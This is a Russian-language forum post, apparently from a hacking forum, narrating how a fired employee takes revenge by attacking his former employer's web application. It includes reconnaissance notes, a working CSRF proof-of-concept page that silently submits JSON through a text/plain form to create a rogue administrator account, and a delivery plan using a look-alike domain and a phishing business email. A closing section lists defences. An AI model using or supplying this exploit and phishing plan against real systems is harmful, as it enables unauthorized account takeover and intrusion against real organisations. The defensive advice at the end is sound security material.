CSRF на JSON API: от разведки до эксплуатации. Практический кейс
Лирическое отступление
Вавилен был доволен своим рабочем местом в конторе. Он приносил деньги себе и своему начальству, которое давало для этого всю инфраструктуру. Но в один прекрасный день боссы, в очередной раз срубив куш на труде Вавилена, решили с ним не делиться. Так они потеряли ценного сотрудника и получили в ответ обманутого и очень мотивированного человека, жаждущего возмездия.Постановка цели
После ухода из конторы все доступы к инфраструктуре, разумеется, были отозваны. Но это не проблема. Основные активы бизнеса крутятся в кастомном веб-приложении для обработки данных. Компрометация этого приложения — ключ ко всей нужной информации. В истории браузера, к счастью, остался IP-адрес сервера. С него и начнём.Изучение цели
Чтобы не шуметь и не светить свой IP на боевом сервере, было принято очевидное решение — развернуть аналогичный софт у себя в лаборатории. ПО распространяется по подписке, но есть семидневный триал с предоставлением VPS. Идеально для наших тестов. Регистрируюсь через 10-минутную почту, разворачиваю софт, активирую триал. Можно приступать к вскрытию.Первое, что нас встречает — стандартная форма логина.
Смотрю, как устроен механизм аутентификации. При попытке входа улетает
POST запрос с телом в формате application/json. Ничего необычного.Что там в JWT?
После успешного входа сервер в ответ ставит cookie с JWT:content=AA.BBB.C. Первым делом иду на jwt.io, чтобы посмотреть, что внутри.
И тут первый "красный флаг". Внутри токена, в открытом виде (просто закодированном в Base64), лежат поля
login и password. Да, пароль в виде хэша (похоже на Blowfish с солью), но сама идея хранить хэш пароля в JWT — это дикая анти-практика.Важно понимать: JWT по умолчанию не шифруется, а подписывается. Это как паспорт: любой может прочитать ваши данные, но подделать печать (цифровую подпись) без секретного ключа, который есть только у сервера, невозможно. Так что идея подделать токен "в лоб", не зная секрета, отпадает сразу. Но сам факт такой архитектуры уже говорит о многом.
Прощупываем очевидные векторы
- Стандартные креды: Приложение ставится с дефолтным логином
admin. Пароль генерируется, 12 символов, брутить бесполезно. - Перехват трафика: Соединение по умолчанию идет по HTTP. Теоретически можно было бы провернуть MitM-атаку, взломав Wi-Fi, но сотрудники сидят через USB-модемы. Вектор отпадает.
- Защита от брутфорса: Пробую перебирать пароли для
admin. Пять неудачных попыток — и мой IP в бане. Попытка обойти бан через заголовокX-Forwarded-Forни к чему не приводит. Сервер на него не реагирует. Без пула прокси тут делать нечего. - Публичные уязвимости: Гуглю название софта + "vulnerability". Нахожу отчёт восьмилетней давности о классической SQL-инъекции в cookie для обхода аутентификации:
content=text' OR '1'='1. Пробую — дыра давно закрыта. Запускаю на этот параметр Intruder в Burp'е с пачкой популярных пейлоудов для SQLi — тоже безрезультатно.
XSS и CSRF
Проверяю на XSS. В дашборде отображаются разные данные, приходящие вGET-параметрах. Загоняю туда всевозможные пейлоуды из популярных списков — приложение всё добросовестно экранирует. Украсть cookie админа через XSS не выйдет.А что насчёт CSRF (Cross-Site Request Forgery)? По мне так крайне скучная уязвимость, до боли банальная. Но именно на таких банальностях часто и прокалываются. Идея проста: заставить залогиненного пользователя перейти по нашей ссылке, и его браузер сам, от его имени, выполнит нужное нам действие.
Смотрю на критически важное действие — создание нового администратора. И что я вижу? А точнее, чего я не вижу? Никакой защиты от CSRF. Ни случайного токена, ни проверки заголовков. Ничего.
Запрос на создание админа выглядит так:
POST /admin/?object=account.create с телом application/json:
Тут и кроется главная загвоздка. Обычная HTML-форма не может отправить запрос с
Content-Type: application/json. Но есть старый трюк. С ним пришлось повозиться, но в итоге родился рабочий PoC.
HTML:
<html>
<body>
<script>
// Просто для удобства, можно и на чистом JS
// но jQuery гарантирует срабатывание на большинстве браузеров
</script>
<script src="[url='https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js']https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js[/url]"></script>
<form id="csrf_form" enctype="text/plain" action="[url='http://SERVER%5C_IP/admin/?object=account.create']http://SERVER\_IP/admin/?object=account.create[/url]" method="POST">
<input id="json_payload" type="hidden" name="hack" value="me">
</form>
<script>
$(document).ready(function() {
// Вся магия здесь. Мы меняем атрибут name на строку, которая является телом JSON.
// enctype="text/plain" заставит браузер отправить это как: {"type":...="me"}
// Нестрогий парсер на сервере съест это и обработает как валидный JSON.
$("#json_payload").attr("name", '{"type":"ADMIN","preferences":{"timezone":"EST","language":"ca"},"login":"hacked_admin","new_password":"P@ssw0rd123","new_password_confirmation":"P@ssw0rd123"}{"comment":"');
// Отправляем форму без ведома пользователя
$("#csrf_form").submit();
});
</script>
</body>
</html>Доставка
Эксплойт готов и протестирован в лабе. Осталось доставить его жертве. Подозрительные ссылки никто открывать не будет. Поэтому покупаем домен, созвучный с рабочей тематикой конторы, накидываем простенький сайт-визитку, внедряем наш скрипт.Дальше — дело техники. Составляем деловое предложение, отправляем на корпоративную почту и делимся ссылкой на наш "рабочий" сайт. Администратор кликает, переходит на сайт... и в этот момент на заднем фоне без его ведома срабатывает наш скрипт. Его браузер, сохранивший легитимную сессию, отправляет запрос на создание нового админа с логином
hacked_admin. Вуаля, атака прошла успешно.Как защититься?
В первую очередь, разработчики могли бы этого избежать, если бы просто знали о существовании таких атак. Продукт на рынке с десятых годов... могли бы и заказать аудит приложения
Но если серьезно, вот конкретные шаги для защиты от подобной CSRF-атаки на JSON API:
- SameSite Cookies: Самый эффективный современный метод. Установить для сессионной cookie атрибут
SameSite=StrictилиSameSite=Lax. В режимеLax(дефолт во многих браузерах) cookie не будут отправляться при межсайтовых POST-запросах. Это убило бы нашу атаку на корню. - Anti-CSRF токены: Классика. Генерировать случайный токен для каждой сессии, встраивать его в защищаемые формы/запросы и проверять на сервере.
- Проверка заголовка
Content-Type: Сервер должен строго проверять, чтоContent-Typeвходящего запроса — именноapplication/json. Наш трюк сtext/plainбы не прошел. - Проверка заголовков
OriginилиReferer: Дополнительный рубеж обороны. Сервер может проверять, что запрос пришел с доверенного домена, а не сevil.com.
Последнее редактирование модератором:
